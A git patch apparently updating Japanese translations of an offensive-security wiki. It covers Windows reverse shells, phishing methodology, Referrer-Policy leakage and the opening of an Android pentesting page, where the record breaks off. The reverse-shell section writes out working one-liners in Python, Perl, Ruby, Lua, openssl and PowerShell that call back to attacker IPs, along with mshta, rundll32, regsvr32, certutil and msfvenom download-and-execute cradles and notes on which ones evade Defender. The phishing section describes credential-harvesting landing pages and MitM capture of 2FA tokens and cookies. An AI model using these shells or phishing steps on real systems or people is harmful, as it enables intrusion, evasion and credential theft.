From b18c17136bd76d9fa0521d30616ddf9123782bf5 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 4 Feb 2025 18:47:55 +0000 Subject: [PATCH] Translated ['src/generic-hacking/reverse-shells/windows.md', 'src/generi --- src/generic-hacking/reverse-shells/windows.md | 52 ++-- .../phishing-methodology/README.md | 60 ++-- src/interesting-http.md | 8 +- .../android-app-pentesting/README.md | 278 +++++++++--------- .../android-applications-basics.md | 72 ++--- .../drozer-tutorial/README.md | 58 ++-- .../make-apk-accept-ca-certificate.md | 4 +- .../iis-internet-information-services.md | 24 +- .../pentesting-web/wordpress.md | 40 ++- src/pentesting-web/cache-deception/README.md | 66 ++--- .../client-side-template-injection-csti.md | 2 +- .../README.md | 94 +++--- src/pentesting-web/deserialization/README.md | 229 +++++---------- src/pentesting-web/open-redirect.md | 2 +- .../pocs-and-polygloths-cheatsheet/README.md | 22 +- .../postmessage-vulnerabilities/README.md | 48 +-- src/pentesting-web/reverse-tab-nabbing.md | 30 +- ...inclusion-edge-side-inclusion-injection.md | 30 +- src/pentesting-web/websocket-attacks.md | 34 +-- .../xss-cross-site-scripting/README.md | 150 +++++----- .../server-side-xss-dynamic-pdf.md | 34 +-- src/todo/interesting-http.md | 10 +- .../create-msi-with-wix.md | 8 +- 23 files changed, 637 insertions(+), 718 deletions(-) diff --git a/src/generic-hacking/reverse-shells/windows.md b/src/generic-hacking/reverse-shells/windows.md index de72cadb9..2045caf6b 100644 --- a/src/generic-hacking/reverse-shells/windows.md +++ b/src/generic-hacking/reverse-shells/windows.md @@ -27,7 +27,7 @@ ncat -l --ssl ``` ## SBD -**[sbd](https://www.kali.org/tools/sbd/) はポータブルで安全なNetcatの代替品です**。Unix系システムとWin32で動作します。強力な暗号化、プログラム実行、カスタマイズ可能なソースポート、継続的な再接続などの機能を備えたsbdは、TCP/IP通信のための多用途なソリューションを提供します。Windowsユーザーには、Kali Linuxディストリビューションからのsbd.exeバージョンがNetcatの信頼できる代替品として使用できます。 +**[sbd](https://www.kali.org/tools/sbd/) はポータブルで安全なNetcatの代替手段です**。Unix系システムとWin32で動作します。強力な暗号化、プログラム実行、カスタマイズ可能なソースポート、継続的な再接続などの機能を備えたsbdは、TCP/IP通信のための多用途なソリューションを提供します。Windowsユーザーには、Kali Linuxディストリビューションからのsbd.exeバージョンがNetcatの信頼できる代替品として使用できます。 ```bash # Victims machine sbd -l -p 4444 -e bash -v -n @@ -39,7 +39,7 @@ sbd 10.10.10.10 4444 id uid=0(root) gid=0(root) groups=0(root) ``` -## パイソン +## Python ```bash #Windows C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" @@ -54,7 +54,7 @@ perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen( #Windows ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` -## ルア +## Lua ```bash lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` @@ -66,7 +66,7 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` -被害者 +犠牲者 ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -74,7 +74,7 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` -## パワーシェル +## Powershell ```bash powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" @@ -82,7 +82,7 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile ``` ネットワークコールを実行しているプロセス: **powershell.exe**\ -ディスクに書き込まれたペイロード: **いいえ** (_少なくともprocmonを使用して見つけることができた場所にはありませんでした!_) +ディスクに書き込まれたペイロード: **NO** (_少なくともprocmonを使用して見つけられた場所にはありませんでした!_) ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` @@ -109,15 +109,15 @@ mshta http://webserver/payload.hta ```bash mshta \\webdavserver\folder\payload.hta ``` -#### **hta-pshリバースシェルの例(htaを使用してPSバックドアをダウンロードして実行する)** +#### **hta-pshリバースシェルの例(htaを使用してPSバックドアをダウンロードして実行)** ```xml ``` -**Koadic ゾンビを stager hta を使用して非常に簡単にダウンロードして実行できます** +**Koadicゾンビを非常に簡単にダウンロードして実行できます。ステージャHTAを使用します。** -#### hta の例 +#### HTAの例 -[**ここから**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) +[**こちらから**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) ```xml @@ -134,7 +134,7 @@ new ActiveXObject('WScript.Shell').Run(c); ``` #### **mshta - sct** -[**こちらから**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) +[**ここから**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml @@ -161,7 +161,7 @@ msf exploit(windows/misc/hta_server) > exploit ```bash Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit ``` -**検出されたデファンダー** +**ディフェンダーによって検出されました** ## **Rundll32** @@ -175,11 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint ```bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` -**検出されたデファンダー** +**ディフェンダーによって検出されました** **Rundll32 - sct** -[**こちらから**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) +[**ここから**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) ```xml @@ -219,12 +219,12 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll ``` -**ディフェンダーによって検出されました** +**検出されたデファンダー** #### Regsvr32 -sct [**こちらから**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) -```markup +```html @@ -249,13 +249,13 @@ set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` -**Koadic ゾンビを stager regsvr を使用して非常に簡単にダウンロードして実行できます** +**Koadicゾンビをstager regsvrを使用して非常に簡単にダウンロードして実行できます** ## Certutil - [ここから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) -B64dll をダウンロードし、デコードして実行します。 +B64dllをダウンロードし、デコードして実行します。 ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll ``` @@ -273,7 +273,7 @@ powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0 ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs ``` -**ディフェンダーによって検出されました** +**Defenderによって検出されました** ## PS-Bat ```bash @@ -337,7 +337,7 @@ cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ``` -**検出されません** +**検出されていません** ## **CSC** @@ -369,13 +369,13 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} [**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2) -## Powershell シェル +## Powershell Shells ### PS-Nishang [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) -**Shells** フォルダには、さまざまなシェルがたくさんあります。Invoke-_PowerShellTcp.ps1_ をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加します: +**Shells**フォルダには、さまざまなシェルがたくさんあります。Invoke-_PowerShellTcp.ps1_をダウンロードして実行するには、スクリプトのコピーを作成し、ファイルの末尾に追加します: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` @@ -420,7 +420,7 @@ powercat -l -p 443 -i C:\inputfile -rep [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) -PowerShellランチャーを作成し、ファイルに保存してダウンロードおよび実行します。 +PowerShellランチャーを作成し、それをファイルに保存してダウンロードおよび実行します。 ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` @@ -434,7 +434,7 @@ unicornを使用してmetasploitバックドアのpowershellバージョンを ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` -作成したリソースでmsfconsoleを起動します: +作成したリソースでmsfconsoleを開始します: ``` msfconsole -r unicorn.rc ``` @@ -446,9 +446,9 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ## もっと -[PS>Attack](https://github.com/jaredhaight/PSAttack) PSコンソールにいくつかの攻撃的なPSモジュールがプリロードされています(暗号化)\ +[PS>Attack](https://github.com/jaredhaight/PSAttack) PSコンソールにいくつかの攻撃的なPSモジュールをプリロードしたもの (暗号化)\ [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ -WinPWN](https://github.com/SecureThisShit/WinPwn) PSコンソールにいくつかの攻撃的なPSモジュールとプロキシ検出が含まれています(IEX) +WinPWN](https://github.com/SecureThisShit/WinPwn) PSコンソールにいくつかの攻撃的なPSモジュールとプロキシ検出を含む (IEX) ## 参考文献 diff --git a/src/generic-methodologies-and-resources/phishing-methodology/README.md b/src/generic-methodologies-and-resources/phishing-methodology/README.md index 3eb4ff1a3..4efdbfc14 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/README.md @@ -6,7 +6,7 @@ 1. 被害者の調査 1. **被害者のドメイン**を選択します。 -2. 被害者が使用している**ログインポータル**を探すために基本的なウェブ列挙を行い、**なりすます**ポータルを**決定**します。 +2. 被害者が使用している**ログインポータル**を探すために、基本的なウェブ列挙を行い、**なりすます**ポータルを**決定**します。 3. **OSINT**を使用して**メールアドレス**を**見つけます**。 2. 環境の準備 1. フィッシング評価に使用する**ドメインを購入**します。 @@ -15,13 +15,13 @@ 3. キャンペーンの準備 1. **メールテンプレート**を準備します。 2. 認証情報を盗むための**ウェブページ**を準備します。 -4. キャンペーンを開始します! +4. キャンペーンを開始! ## 類似のドメイン名を生成するか、信頼できるドメインを購入する ### ドメイン名のバリエーション技術 -- **キーワード**: ドメイン名に元のドメインの重要な**キーワード**が**含まれています**(例: zelster.com-management.com)。 +- **キーワード**: ドメイン名は元のドメインの重要な**キーワード**を**含みます**(例: zelster.com-management.com)。 - **ハイフン付きサブドメイン**: サブドメインの**ドットをハイフンに変更**します(例: www-zelster.com)。 - **新しいTLD**: 同じドメインを使用して**新しいTLD**を使用します(例: zelster.org)。 - **ホモグリフ**: ドメイン名の文字を**似たような文字に置き換えます**(例: zelfser.com)。 @@ -29,7 +29,7 @@ - **単数化/複数化**: ドメイン名の末尾に「s」を追加または削除します(例: zeltsers.com)。 - **省略**: ドメイン名から**1つの文字を削除します**(例: zelser.com)。 - **繰り返し**: ドメイン名の**1つの文字を繰り返します**(例: zeltsser.com)。 -- **置換**: ホモグリフのようですが、あまりステルスではありません。ドメイン名の1つの文字を、元の文字の近くにあるキーボードの文字で置き換えます(例: zektser.com)。 +- **置換**: ホモグリフのようですが、あまりステルスではありません。ドメイン名の1つの文字を、元の文字の近くにあるキーボードの文字に置き換えます(例: zektser.com)。 - **サブドメイン化**: ドメイン名内に**ドットを挿入します**(例: ze.lster.com)。 - **挿入**: ドメイン名に**文字を挿入します**(例: zerltser.com)。 - **ドットの欠落**: ドメイン名にTLDを追加します(例: zelstercom.com)。 @@ -60,7 +60,7 @@ ### 信頼できるドメインを購入する [https://www.expireddomains.net/](https://www.expireddomains.net)で使用できる期限切れのドメインを検索できます。\ -購入する期限切れのドメインが**すでに良好なSEOを持っていることを確認するために**、以下のサイトでそのカテゴリを確認できます: +購入する期限切れのドメインが**すでに良好なSEOを持っていることを確認するために**、以下のサイトでそのカテゴリを検索できます: - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) @@ -73,8 +73,8 @@ - [https://hunter.io/](https://hunter.io) - [https://anymailfinder.com/](https://anymailfinder.com) -**さらに多くの**有効なメールアドレスを**発見するか、すでに発見したものを**確認するために、被害者のSMTPサーバーをブルートフォース攻撃できるか確認できます。[メールアドレスの確認/発見方法についてはここを参照してください](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)。\ -さらに、ユーザーが**メールにアクセスするためのウェブポータルを使用している場合**、それが**ユーザー名のブルートフォース攻撃に対して脆弱であるかどうかを確認し、可能であればその脆弱性を悪用することを忘れないでください**。 +**より多くの**有効なメールアドレスを**発見するか、すでに発見したものを**確認するために、被害者のSMTPサーバーをブルートフォース攻撃できるか確認できます。[メールアドレスの確認/発見方法についてはここを学んでください](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration)。\ +さらに、ユーザーが**メールにアクセスするためのウェブポータルを使用している場合**、それが**ユーザーネームのブルートフォース攻撃に対して脆弱であるかどうかを確認し、可能であればその脆弱性を悪用することを忘れないでください**。 ## GoPhishの設定 @@ -208,7 +208,7 @@ case $1 in start|stop|status) "$1" ;; esac ``` -サービスの設定を完了し、次の手順を実行して確認します: +サービスの設定を完了し、次のことを確認します: ```bash mkdir /var/log/gophish chmod +x /etc/init.d/gophish @@ -225,9 +225,9 @@ service gophish stop ドメインが古いほど、スパムとして検出される可能性は低くなります。そのため、フィッシング評価の前にできるだけ長く(少なくとも1週間)待つべきです。さらに、評判の良い分野に関するページを作成すれば、得られる評判はより良くなります。 -1週間待たなければならなくても、今すぐにすべての設定を終えることができます。 +1週間待たなければならない場合でも、今すぐにすべての設定を完了させることができます。 -### 逆引きDNS(rDNS)レコードの設定 +### リバースDNS(rDNS)レコードの設定 VPSのIPアドレスをドメイン名に解決するrDNS(PTR)レコードを設定します。 @@ -247,7 +247,7 @@ v=spf1 mx a ip4:ip.ip.ip.ip ?all 新しいドメインのために**DMARCレコードを設定する必要があります**。DMARCレコードが何か分からない場合は、[**このページを読んでください**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc)。 -次の内容でホスト名 `_dmarc.` を指す新しいDNS TXTレコードを作成する必要があります: +ホスト名 `_dmarc.` を指す新しいDNS TXTレコードを作成し、以下の内容を含める必要があります: ```bash v=DMARC1; p=none ``` @@ -283,7 +283,7 @@ DKIM check: pass Sender-ID check: pass SpamAssassin check: ham ``` -あなたはまた、**あなたの管理下にあるGmailにメッセージを送信**し、Gmailの受信トレイで**メールのヘッダー**を確認することができます。`dkim=pass`は`Authentication-Results`ヘッダーフィールドに存在する必要があります。 +あなたはまた、**あなたの管理下にあるGmailにメッセージを送信**し、Gmailの受信トレイで**メールのヘッダー**を確認することができます。`dkim=pass`は`Authentication-Results`ヘッダー欄に存在する必要があります。 ``` Authentication-Results: mx.google.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; @@ -291,11 +291,11 @@ dkim=pass header.i=@example.com; ``` ### ​Spamhouseのブラックリストからの削除 -ページ [www.mail-tester.com](https://www.mail-tester.com) は、あなたのドメインがSpamhouseによってブロックされているかどうかを示すことができます。あなたのドメイン/IPの削除をリクエストするには、​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) にアクセスしてください。 +ページ [www.mail-tester.com](https://www.mail-tester.com) は、あなたのドメインがspamhouseによってブロックされているかどうかを示すことができます。あなたのドメイン/IPの削除をリクエストすることができます: ​[https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) ### Microsoftのブラックリストからの削除 -あなたのドメイン/IPの削除をリクエストするには、[https://sender.office.com/](https://sender.office.com) にアクセスしてください。 +あなたのドメイン/IPの削除をリクエストすることができます: [https://sender.office.com/](https://sender.office.com). ## GoPhishキャンペーンの作成と開始 @@ -303,21 +303,21 @@ dkim=pass header.i=@example.com; - 送信者プロファイルを識別するための**名前を設定**します - フィッシングメールを送信するアカウントを決定します。提案: _noreply, support, servicedesk, salesforce..._ -- ユーザー名とパスワードは空白のままにできますが、「証明書エラーを無視する」をチェックすることを確認してください。 +- ユーザー名とパスワードは空白のままにできますが、「証明書エラーを無視する」をチェックすることを確認してください ![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) > [!NOTE] > すべてが正常に動作していることを確認するために、"**テストメールを送信**"機能を使用することをお勧めします。\ -> テストを行う際にブラックリストに載らないように、**10分メールアドレスにテストメールを送信する**ことをお勧めします。 +> テストを行う際にブラックリストに載らないように、**テストメールを10分メールアドレスに送信することをお勧めします**。 ### メールテンプレート - テンプレートを識別するための**名前を設定**します -- 次に、**件名**を書きます(特に奇妙なものではなく、通常のメールで読むことができるもの) +- 次に、**件名**を書きます(特に奇妙なことはなく、通常のメールで読むことができる内容にします) - "**トラッキング画像を追加**"にチェックを入れていることを確認してください - **メールテンプレート**を書きます(以下の例のように変数を使用できます): -```markup +```html @@ -335,7 +335,7 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ``` -**メールの信頼性を高めるために**、クライアントからのメールの署名を使用することをお勧めします。提案: +注意してほしいのは、**メールの信頼性を高めるために**、クライアントからのメールの署名を使用することが推奨されるということです。提案: - **存在しないアドレス**にメールを送信し、返信に署名が含まれているか確認します。 - info@ex.comやpress@ex.com、public@ex.comのような**公開メール**を探し、メールを送信して返信を待ちます。 @@ -344,23 +344,23 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY ![](<../../images/image (80).png>) > [!NOTE] -> メールテンプレートでは、**送信するファイルを添付**することもできます。NTLMチャレンジを特別に作成したファイル/ドキュメントを使用して盗むことに興味がある場合は、[このページを読む](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)。 +> Email Templateは、**送信するファイルを添付することも可能です**。NTLMチャレンジを特別に作成したファイル/ドキュメントを使用して盗むことを希望する場合は、[このページを読む](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)。 ### ランディングページ - **名前**を記入 - **ウェブページのHTMLコード**を記入します。ウェブページを**インポート**することもできます。 -- **送信されたデータをキャプチャ**と**パスワードをキャプチャ**にチェックを入れます。 +- **提出データをキャプチャ**と**パスワードをキャプチャ**にチェックを入れます。 - **リダイレクト**を設定します。 ![](<../../images/image (826).png>) > [!NOTE] -> 通常、ページのHTMLコードを修正し、ローカルでいくつかのテストを行う必要があります(おそらくApacheサーバーを使用して)**結果に満足するまで。**その後、そのHTMLコードをボックスに記入します。\ +> 通常、ページのHTMLコードを修正し、ローカルでいくつかのテストを行う必要があります(おそらくApacheサーバーを使用して)**結果に満足するまで**。その後、そのHTMLコードをボックスに記入します。\ > HTML用に**静的リソース**(おそらくCSSやJSページ)を使用する必要がある場合は、_**/opt/gophish/static/endpoint**_に保存し、_**/static/\**_からアクセスできます。 > [!NOTE] -> リダイレクトでは、**ユーザーを被害者の正当なメインウェブページにリダイレクト**するか、例えば_/static/migration.html_にリダイレクトし、5秒間**スピニングホイール**(**[https://loading.io/](https://loading.io)**)を表示し、その後プロセスが成功したことを示すことができます。 +> リダイレクトについては、**被害者の正当なメインウェブページにユーザーをリダイレクトする**か、例えば_/static/migration.html_にリダイレクトし、5秒間**スピニングホイール**(**[https://loading.io/](https://loading.io)**)を表示し、その後プロセスが成功したことを示すことができます。 ### ユーザーとグループ @@ -373,12 +373,12 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY 最後に、名前、メールテンプレート、ランディングページ、URL、送信プロファイル、グループを選択してキャンペーンを作成します。URLは被害者に送信されるリンクになります。 -**送信プロファイルでは、最終的なフィッシングメールがどのように見えるかを確認するためにテストメールを送信できます**: +**送信プロファイルは、最終的なフィッシングメールがどのように見えるかを確認するためにテストメールを送信することを許可します**: ![](<../../images/image (192).png>) > [!NOTE] -> テストメールは**10分メールアドレス**に送信することをお勧めします。テスト中にブラックリストに載るのを避けるためです。 +> テストメールを**10分メールアドレス**に送信することをお勧めします。テストを行う際にブラックリストに載るのを避けるためです。 すべてが準備できたら、キャンペーンを開始してください! @@ -403,23 +403,23 @@ phishing-documents.md ### プロキシMitM経由 -前述の攻撃は非常に巧妙で、実際のウェブサイトを偽装し、ユーザーによって設定された情報を収集しています。残念ながら、ユーザーが正しいパスワードを入力しなかった場合や、偽装したアプリケーションが2FAで設定されている場合、**この情報では騙されたユーザーを偽装することはできません**。 +前述の攻撃は非常に巧妙で、実際のウェブサイトを偽装し、ユーザーが設定した情報を収集しています。残念ながら、ユーザーが正しいパスワードを入力しなかった場合や、偽装したアプリケーションが2FAで設定されている場合、**この情報では騙されたユーザーを偽装することはできません**。 ここで、[**evilginx2**](https://github.com/kgretzky/evilginx2)**、** [**CredSniper**](https://github.com/ustayready/CredSniper)および[**muraena**](https://github.com/muraenateam/muraena)のようなツールが役立ちます。このツールは、MitMのような攻撃を生成することを可能にします。基本的に、攻撃は次のように機能します: 1. 実際のウェブページのログインフォームを**偽装**します。 2. ユーザーは**資格情報**をあなたの偽のページに**送信**し、ツールはそれを実際のウェブページに送信し、**資格情報が機能するか確認します**。 3. アカウントが**2FA**で設定されている場合、MitMページはそれを要求し、**ユーザーが入力**すると、ツールはそれを実際のウェブページに送信します。 -4. ユーザーが認証されると、あなた(攻撃者)は**資格情報、2FA、クッキー、およびツールがMitMを実行している間のすべてのインタラクションの情報をキャプチャ**します。 +4. ユーザーが認証されると、あなた(攻撃者)は**資格情報、2FA、クッキー、ツールがMitMを実行している間のすべてのインタラクションの情報をキャプチャ**します。 ### VNC経由 -もし**被害者を元のページと同じ外観の悪意のあるページに送信する代わりに、実際のウェブページに接続されたブラウザを持つVNCセッションに送信したら**どうなるでしょうか?彼が何をしているかを見ることができ、パスワード、使用されるMFA、クッキーを盗むことができます。\ +もし**被害者を元のページと同じ外観の悪意のあるページに送信する代わりに、実際のウェブページに接続されたブラウザを持つVNCセッションに送信したらどうなるでしょうか**?彼が何をしているかを見ることができ、パスワード、使用されるMFA、クッキーを盗むことができます...\ これを[**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)で行うことができます。 ## 検出の検出 -明らかに、あなたがバストされたかどうかを知る最良の方法の1つは、**ブラックリスト内であなたのドメインを検索すること**です。リストに表示されている場合、何らかの形であなたのドメインが疑わしいと検出されました。\ +明らかに、あなたがバストされたかどうかを知る最良の方法の1つは、**ブラックリスト内であなたのドメインを検索することです**。リストに表示されている場合、何らかの形であなたのドメインが疑わしいと検出されました。\ ドメインがブラックリストに表示されているかどうかを確認する簡単な方法は、[https://malwareworld.com/](https://malwareworld.com)を使用することです。 ただし、被害者が**野外で疑わしいフィッシング活動を積極的に探しているかどうかを知る他の方法もあります**。詳細は次の通りです: @@ -428,7 +428,7 @@ phishing-documents.md detecting-phising.md {{#endref}} -被害者のドメインに非常に似た名前のドメインを**購入する**ことができます**および/または**あなたが制御するドメインの**サブドメイン**のために**証明書を生成する**ことができます。被害者のドメインの**キーワード**を含む。もし**被害者**がそれらと何らかの**DNSまたはHTTPインタラクション**を行った場合、あなたは**彼が積極的に探している**ことを知り、非常にステルスである必要があります。 +被害者のドメインに非常に似た名前のドメインを**購入する**ことができ、**サブドメイン**のために**証明書を生成する**ことができます。被害者のドメインの**キーワード**を含むドメインを制御しています。もし**被害者**がそれらと何らかの**DNSまたはHTTPインタラクション**を行った場合、**彼が積極的に探している**ことがわかり、非常にステルスである必要があります。 ### フィッシングの評価 diff --git a/src/interesting-http.md b/src/interesting-http.md index 800ac6b78..6e1fbf0c7 100644 --- a/src/interesting-http.md +++ b/src/interesting-http.md @@ -6,11 +6,11 @@ ## 機密情報の漏洩 -ウェブページ内のどこかに機密情報がGETリクエストパラメータに存在する場合、そのページが外部ソースへのリンクを含んでいるか、攻撃者がユーザーに攻撃者が制御するURLを訪問させることができる(ソーシャルエンジニアリング)場合、最新のGETリクエスト内の機密情報を抽出できる可能性があります。 +ウェブページ内のどこかに機密情報がGETリクエストパラメータに存在する場合、そのページが外部ソースへのリンクを含んでいるか、攻撃者がユーザーに攻撃者が制御するURLを訪問させることができる(ソーシャルエンジニアリング)場合、最新のGETリクエスト内の機密情報を抽出することが可能です。 ## 緩和策 -ブラウザが機密情報が他のウェブアプリケーションに送信されるのを**回避**する**リファラーポリシー**に従うようにすることができます: +ブラウザに**Referrer-policy**を遵守させることで、機密情報が他のウェブアプリケーションに送信されるのを**回避**することができます: ``` Referrer-Policy: no-referrer Referrer-Policy: no-referrer-when-downgrade @@ -21,10 +21,10 @@ Referrer-Policy: strict-origin Referrer-Policy: strict-origin-when-cross-origin Referrer-Policy: unsafe-url ``` -## カウンター緩和 +## Counter-Mitigation このルールはHTMLメタタグを使用して上書きできます(攻撃者はHTMLインジェクションを利用する必要があります): -```markup +```html ``` diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 28834941c..2744ac592 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -68,16 +68,16 @@ APKの**文字列**を確認するだけで、**パスワード**、**URL** ([ht - **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定する必要があります。これにより、特にUSBデバッグが有効になっている場合に、adbを介した不正なデータバックアップを防ぐことができます。 - **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ構成(`android:networkSecurityConfig="@xml/network_security_config"`)は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインに対してHTTPトラフィックを許可することが一例です。 - **エクスポートされたアクティビティとサービス**: マニフェスト内のエクスポートされたアクティビティとサービスを特定することで、悪用される可能性のあるコンポーネントを明らかにできます。動的テスト中のさらなる分析により、これらのコンポーネントを悪用する方法が明らかになる可能性があります。 -- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、不正なアクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの設定も注意深く確認する必要があります。 +- **コンテンツプロバイダーとファイルプロバイダー**: 